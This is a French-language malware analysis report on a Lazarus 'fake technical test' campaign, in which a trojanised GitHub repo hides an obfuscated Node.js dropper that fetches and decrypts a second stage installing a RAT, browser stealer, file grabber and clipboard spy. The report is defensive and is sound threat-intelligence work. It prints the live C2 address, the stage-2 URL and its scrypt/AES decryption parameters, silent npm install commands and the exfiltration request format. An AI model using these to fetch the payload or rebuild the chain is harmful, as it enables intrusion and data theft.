Lazarus : un dropper JS caché dans un faux test technique

Catégorie : Lazarus

Analyste : Gordon PEIRS

Type : analyse statique du dépôt trojanisé, complétée par une émulation en bac à sable Node.js. Le payload n'est jamais exécuté pour de vrai et le code analysé n'a aucun accès réel au disque, aux processus ou au réseau. J'ai fait une seule requête HTTP en lecture seule vers le vrai C2, pour récupérer le stage 2 chiffré, sans l'exécuter.

Famille : Lazarus Group / DEV#POPPER (Contagious Interview). Ciblage de développeurs par de fausses offres d'emploi et de faux « tests techniques » avant entretien.

Tout est reproductible depuis runbook.md. Les scripts et les artefacts désobfusqués sont dans tools/.


Résumé

Une fausse offre d'emploi sur LinkedIn renvoie vers un dépôt GitHub crédible (pspn-frontend, un dashboard PulseChain avec de vraies dépendances web3), présenté comme un test technique à faire tourner avant l'entretien. Le payload est caché derrière des centaines d'espaces, après un faux commentaire dans un contrôleur Express. Il s'exécute au premier npm start, sans que la victime ait autre chose à faire. J'ai rejoué toute la chaîne dans un bac à sable Node.js isolé (contexte vm, fs/child_process/réseau interceptés et neutralisés), avec une seule vraie requête HTTP, en lecture seule, pour récupérer le stage 2 chiffré sur le C2. Une fois déchiffré, ce stage 2 dépose quatre modules Node détachés : un RAT avec shell interactif et tunnel SSH (scdata, sur un canal Socket.IO dédié), un voleur de données de navigateurs Chromium (ldata), un moissonneur de fichiers personnels et un espion de presse-papiers. Pendant toute l'analyse, aucun payload n'a touché un disque, un processus ou un serveur tiers en dehors du bac à sable.


1. Contexte

Tout part d'une archive pspn-main.zip reçue via une fausse offre d'emploi LinkedIn. Un recruteur contacte la cible, lui propose un poste, puis lui demande de faire un « test technique » : cloner un projet GitHub et le faire tourner avant l'entretien. Le dépôt se présente comme pspn-frontend, un dashboard React/Express autour de PulseChain (wallet, swap de tokens, paris sportifs UFC).

Le projet est crédible : vraies dépendances web3 (ethers, web3, @web3-onboard/*), vrais assets graphiques, README cohérent avec des instructions d'installation classiques (npm install --legacy-peer-deps puis npm start). Au premier coup d'œil, rien dans le dépôt (README, arborescence, historique apparent) ne trahit une compromission.

Le piège est dans le code serveur. Un payload JavaScript obfusqué est caché dans un contrôleur Express et s'exécute tout seul dès que la victime lance le serveur pour tester l'application, comme le README le lui demande.


2. Identité des échantillons

Fichier SHA256 Taille Rôle
pspn-main.zip c5435f903a4ab012718ab1094c85ecea1e316b1c8e61e090d43a84cfe03e4c5c 5 864 493 o Archive du dépôt trojanisé (source du "test technique")
server/controllers/userController.js 1d307af5034ecc0daee2a5d06abe624d63de18799e4826d72d6a35592120f345 31 763 o Fichier hôte de l'injection
Payload stage 1 (extrait de la ligne 8) 192037630d29ec97895d2d986b383dae1c68a47d18354beaee2f44fc7793548b 24 236 o Dropper obfusqué
Réponse C2 stage 2 (chiffrée, récupérée en direct) 04b9981cd85005990b607233b6cf5f46f5eefb82dfcd4de31c8112dcd7af062a 153 029 o IV_base64:ciphertext_base64
Stage 2 déchiffré fefc0504d96b491a790702bff38e2b7cdd3c1520d52c07ef24e21ac1b8af1e5d 114 745 o Lanceur de 4 sous-modules
/tmp/scdata (déposé par stage 2) e5395c4d0f37e0f3a643b725468087cbdf00cd13ccaae02c4c35de7890238fa1 16 919 o RAT / shell interactif + SSH
/tmp/ldata (déposé par stage 2) 9edae13f6438bff29b2a0223080344fdda13d1be6bab44139f679b43d256333a 11 474 o Voleur de données navigateur
Script "grabber" (spawn inline) 628d71d67eefc7c93194743359088bd9ff9daa10ca76d1d2a7ae071bfc49d899 9 601 o Moissonneur de fichiers
Script "clipper" (spawn inline) 2d18dcc30edbb90752aed0b651688ab0e830fa137edb6bc3e5eae4c73e8e4757 2 960 o Espion de presse-papiers

Je n'ai pas trouvé l'archive sur les plateformes publiques de partage d'échantillons au moment de l'analyse. Elle vient directement de la cible de la campagne, pas d'un dépôt de recherche.


3. Outillage

  • unzip, grep, wc : triage initial du dépôt
  • Un binaire Electron (code, VS Code) lancé avec la variable d'environnement ELECTRON_RUN_AS_NODE=1. Il sert d'interpréteur Node.js complet (v24.15.0), faute de node installé sur la machine d'analyse
  • tools/harness.js : le bac à sable écrit pour cette analyse, basé sur le module vm de Node. Il charge le code obfusqué dans un contexte isolé où require, fs, child_process et tous les appels réseau sont remplacés par des versions qui journalisent l'appel et renvoient une valeur inoffensive, sans toucher au disque, lancer de processus ni contacter de serveur. Tout appel vers un module ou une fonction inconnue tombe sur un proxy « trou noir », qui journalise, ne lève jamais d'exception et renvoie un nouveau trou noir. La logique du malware peut ainsi aller jusqu'au bout sans jamais se retrouver dans son propre catch silencieux
  • tools/extract_stage1.py : extraction du payload caché dans userController.js
  • tools/decrypt_stage2.py : déchiffrement AES-256-CBC / scrypt de la réponse du C2, une fois le schéma retrouvé par émulation
  • Python 3 (hashlib, cryptography) pour vérifier le déchiffrement de façon indépendante

4. Stage 0 : le leurre GitHub

Le README.md du dépôt dit textuellement :

npm install --legacy-peer-deps
npm start

npm start lance concurrently "node server/server.js" "react-scripts start" (défini dans package.json). Le serveur Express charge app.js, qui charge routes/userRoute.js, qui charge controllers/userController.js, avant qu'aucune route ne soit appelée. Le payload s'exécute donc au démarrage du serveur. La victime n'a rien d'autre à faire que suivre le README.

Deux dépendances du package.json détonnent dans un dashboard de paris sportifs web3 : @primno/dpapi (un wrapper de la DPAPI Windows, qui sert d'habitude à déchiffrer les secrets stockés par les navigateurs Chromium) et node-machine-id (empreinte de la machine). Je n'ai trouvé aucun appel à ces deux paquets dans le code source visible du dépôt (grep sur tous les fichiers .js/.ts/.tsx). Le code embarqué ne les utilise sans doute pas directement, mais leur présence dans les dépendances va dans le sens de la campagne. Le stage 3 « voleur de données navigateur » a besoin de déchiffrer de la DPAPI sous Windows ; je n'ai pas pu confirmer le lien, faute d'avoir vu ce module tourner sous un vrai Windows.


5. Stage 1 : le dropper caché dans userController.js

5.1 Localisation

Ligne 8 du fichier, juste après un faux commentaire anodin :

/* const path = require("node-path-addon"); */                    [des centaines d'espaces]        function b(c,d){...

Le commentaire imite un require inoffensif. Le vrai payload est sur la même ligne, repoussé hors de la fenêtre de l'éditeur par des centaines d'espaces. Quand on parcourt le fichier dans un IDE, on ne voit que le commentaire.

5.2 Obfuscation

C'est la signature classique d'obfuscator.io : un tableau de 330 chaînes encodées, deux fonctions de lookup (b décode seulement du custom-base64 ; c décode le custom-base64 puis applique un flux RC4 dont la clé est passée en second paramètre), et un IIFE anti-falsification qui fait tourner ces fonctions de lookup en boucle.

Réimplémenter l'algorithme de décodage en Python donne la plupart des chaînes, mais laisse une centaine d'échecs : surtout le bloc anti-falsification et quelques chaînes de la table de dispatch interne d'obfuscator.io. Le plus fiable est de ne rien deviner : j'ai fait tourner le vrai code de décodage (les fonctions a/b/c du malware, purement fonctionnelles et sans effet de bord) dans le bac à sable Node. Le taux de résolution passe à 100 %, et surtout on peut observer la suite du programme, au-delà du tableau de chaînes.

5.3 Comportement observé

En laissant tourner le vrai payload dans le bac à sable (require/fs/child_process/réseau interceptés et journalisés, jamais exécutés pour de bon) :

  1. child_process.execSync("npm install axios socket.io-client --no-warnings --no-progress --loglevel silent", {windowsHide:true, cwd:"/tmp"}). Ces deux paquets sont déjà des dépendances légitimes déclarées dans le package.json du projet. L'installation forcée garantit qu'ils sont disponibles, et elle passe inaperçue.
  2. require('axios'), puis une requête vers :

GET http://147.189.172.105/api/service/99cef4b32f24dcc475a4e7be8d2423c4 Authentication: jwt

  1. La chaîne 99cef4b32f24dcc475a4e7be8d2423c4 (l'identifiant de service dans l'URL) sert une deuxième fois, comme mot de passe pour dériver une clé AES-256-CBC via scrypt(id, salt="salt", N=16384, r=8, p=1, dklen=32).
  2. La réponse attendue du C2 a le format <IV en base64>:<texte chiffré en base64>. Elle se déchiffre avec la clé ci-dessus (padding PKCS7).

Cet identifiant sert donc à la fois d'adresse du service et de secret partagé. Il est probablement généré par victime ou par build, ce qui permettrait à l'opérateur de servir des charges différentes selon la cible avec un seul point d'entrée HTTP.


6. Récupération réelle du stage 2

Le bac à sable m'a donné l'URL complète et le schéma de déchiffrement sans exécuter le payload. J'ai ensuite envoyé au vrai C2, qui était actif au moment de l'analyse, une requête HTTP GET en lecture seule, identique à celle qu'aurait faite le malware, pour récupérer le stage 2 :

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 153029

Corps : <IV base64>:<ciphertext base64>. Déchiffré avec la clé dérivée à l'étape précédente (tools/decrypt_stage2.py), il donne 114 745 octets de JavaScript en clair, encore obfusqué avec le même schéma obfuscator.io (nouveau tableau de chaînes, nouvelles clés RC4). Rien de ce contenu n'a été exécuté ailleurs que dans le même bac à sable Node isolé.


7. Stage 2 : le lanceur, quatre sous-modules

Rejoué dans le bac à sable, le stage 2 dépose et lance quatre composants, chacun dans un processus Node détaché :

7.1 scdata : RAT et shell interactif

child_process.execSync("npm install socket.io-client ssh2 node-pty@1.0.0 --no-warnings --no-progress --loglevel silent", ...)

Connexion Socket.IO vers http://147.189.172.105:7861 (reconnectionDelay: 2000, timeout: 2000000), avec onze gestionnaires d'événements :

Événement Fonction probable
start-terminal / terminal-input / terminal-resize / stop-terminal Pseudo-terminal interactif (via node-pty), streamé en direct au C2
command Exécution de commande arbitraire hors session terminal
start_ssh / ssh_input Tunnel ou session SSH (via ssh2)
whour, kill Codes de contrôle non identifiés précisément
connect / disconnect Cycle de vie de la session

Avant de se connecter, scdata crée un fichier verrou /tmp/.npm/vhost.ctl (contenu observé : "3938716", sans doute un identifiant de session ou un PID), lit /proc/cpuinfo pour l'empreinte machine et envoie un rapport de télémétrie :

POST http://147.189.172.105/api/service/makelog
{"message": "...", "host": os.hostname(), "uid": "99cef4b32f24dcc475a4e7be8d2423c4", "t": "180"}

Le champ host contient le vrai nom de la machine locale. Il vient de os.hostname(), que j'ai laissé s'exécuter dans le bac à sable parce que c'est un appel purement local et inoffensif. La valeur n'est jamais sortie du bac à sable, puisque la couche réseau était interceptée, mais elle confirme que cette télémétrie identifie la victime par son hostname.

7.2 ldata : voleur de données navigateur

Il requiert form-data (upload multipart) et vérifie l'existence des répertoires de profil de plusieurs navigateurs basés sur Chromium :

  • Google Chrome
  • Microsoft Edge
  • "lt-browser" (probablement un alias ou un navigateur additionnel visé)
  • Brave (BraveSoftware/Brave-Browser)

Vérifier des profils Chromium puis uploader en form-data, c'est le schéma classique du vol de Login Data/Local State/cookies. Je n'ai pas poussé le module jusqu'à l'upload dans le bac à sable : les existsSync y renvoient toujours false, ce qui coupe la logique avant la lecture et l'envoi.

7.3 Script "grabber" : moissonneur de fichiers

Lancé par child_process.spawn('node', ['-e', <code>], {detached: true}). Il parcourt le répertoire personnel de l'utilisateur (os.homedir()) et /mnt (le point de montage des disques supplémentaires, qu'il s'agisse de volumes réseau ou de supports amovibles). Une longue liste de dossiers exclus (caches, dépendances, dossiers système) lui permet de viser les fichiers de l'utilisateur plutôt que le bruit. L'exfiltration passe par form-data et axios, comme pour ldata.

7.4 Script "clipper" : espion de presse-papiers

Lancé lui aussi par spawn(..., {detached: true}). Il renomme son processus (process.title), sans doute pour se fondre dans la liste. Il lit le presse-papiers avec child_process.execSync et une commande qui dépend de la plateforme (os.platform()), dans une boucle de sondage continue (watchClipboard), et envoie chaque nouvelle valeur par un appel axios vers le même genre d'endpoint de télémétrie que scdata (makelog). Je n'ai pas capturé les commandes système exactes par plateforme : la boucle est asynchrone et infinie, et j'ai arrêté le bac à sable avant qu'un execSync de lecture du presse-papiers ne tombe dans la fenêtre d'observation.


8. Infrastructure C2

Indicateur Rôle
147.189.172.105 (HTTP, port 80) Distribution du stage 2 chiffré (/api/service/<uid>), télémétrie (/api/service/makelog)
147.189.172.105:7861 Canal Socket.IO du RAT interactif (scdata)
99cef4b32f24dcc475a4e7be8d2423c4 Identifiant de service ET mot de passe de dérivation de clé (double usage)

Je n'ai identifié qu'un seul C2 pour toute la chaîne (elle n'est pas répartie sur plusieurs adresses). Il sépare le port HTTP standard, pour la distribution de charge et la télémétrie, d'un port dédié (7861) pour le canal de contrôle interactif Socket.IO.


9. Méthodologie d'émulation sûre

À aucun moment le payload n'a été exécuté sur une vraie machine, et le code obfusqué n'a jamais pu toucher le système de fichiers, lancer un processus ou contacter un serveur sans contrôle :

  • Le code du malware tourne dans un contexte vm Node.js isolé. require, fs, child_process et toutes les primitives réseau y sont remplacés par des fonctions qui journalisent l'appel et renvoient une valeur inoffensive (chaîne vide, false, promesse rejetée ou résolue avec des données factices, selon ce que je veux observer).
  • Un décorateur « trou noir » générique intercepte tout appel vers une fonction ou un module imprévu. Il journalise et renvoie un nouvel objet du même type, ce qui absorbe les branches de code inattendues sans lever d'exception ni interrompre l'exécution.
  • Le seul contact avec le monde réel est la requête HTTP GET en lecture seule vers l'URL C2 reconstituée par l'émulation, pour récupérer le stage 2 tel que le C2 le sert. Le contenu chiffré ne pouvait pas se deviner, seulement la façon de le récupérer et de le déchiffrer. Aucune commande ni aucun fichier reçu du C2 n'a été exécuté : seul le JavaScript en clair, une fois déchiffré, a été relu dans le même bac à sable.

Avec cette méthode, le malware se désobfusque tout seul (ses fonctions de décodage sont correctes par construction), et aucune charge utile n'atteint jamais le disque, un processus ou un tiers.


10. Conclusion

La chaîne part d'un dépôt GitHub crédible, livré par une fausse offre d'emploi LinkedIn, et aboutit à un accès interactif complet à la machine de la victime (shell, tunnel SSH), avec au passage le vol systématique des données de navigateur, des fichiers personnels et du presse-papiers. Tout démarre au premier npm start, sans autre action de la victime.

Le point d'entrée est un payload caché derrière des centaines d'espaces, après un faux commentaire, dans un fichier par ailleurs fonctionnel et cohérent avec le reste du projet. Une revue de code classique, où on lit le fichier dans un éditeur, ne le voit pas. Pour le détecter, il faut soit un outil qui signale les lignes anormalement longues, soit inspecter systématiquement le texte brut des fichiers avant d'exécuter un projet reçu par un canal non vérifié.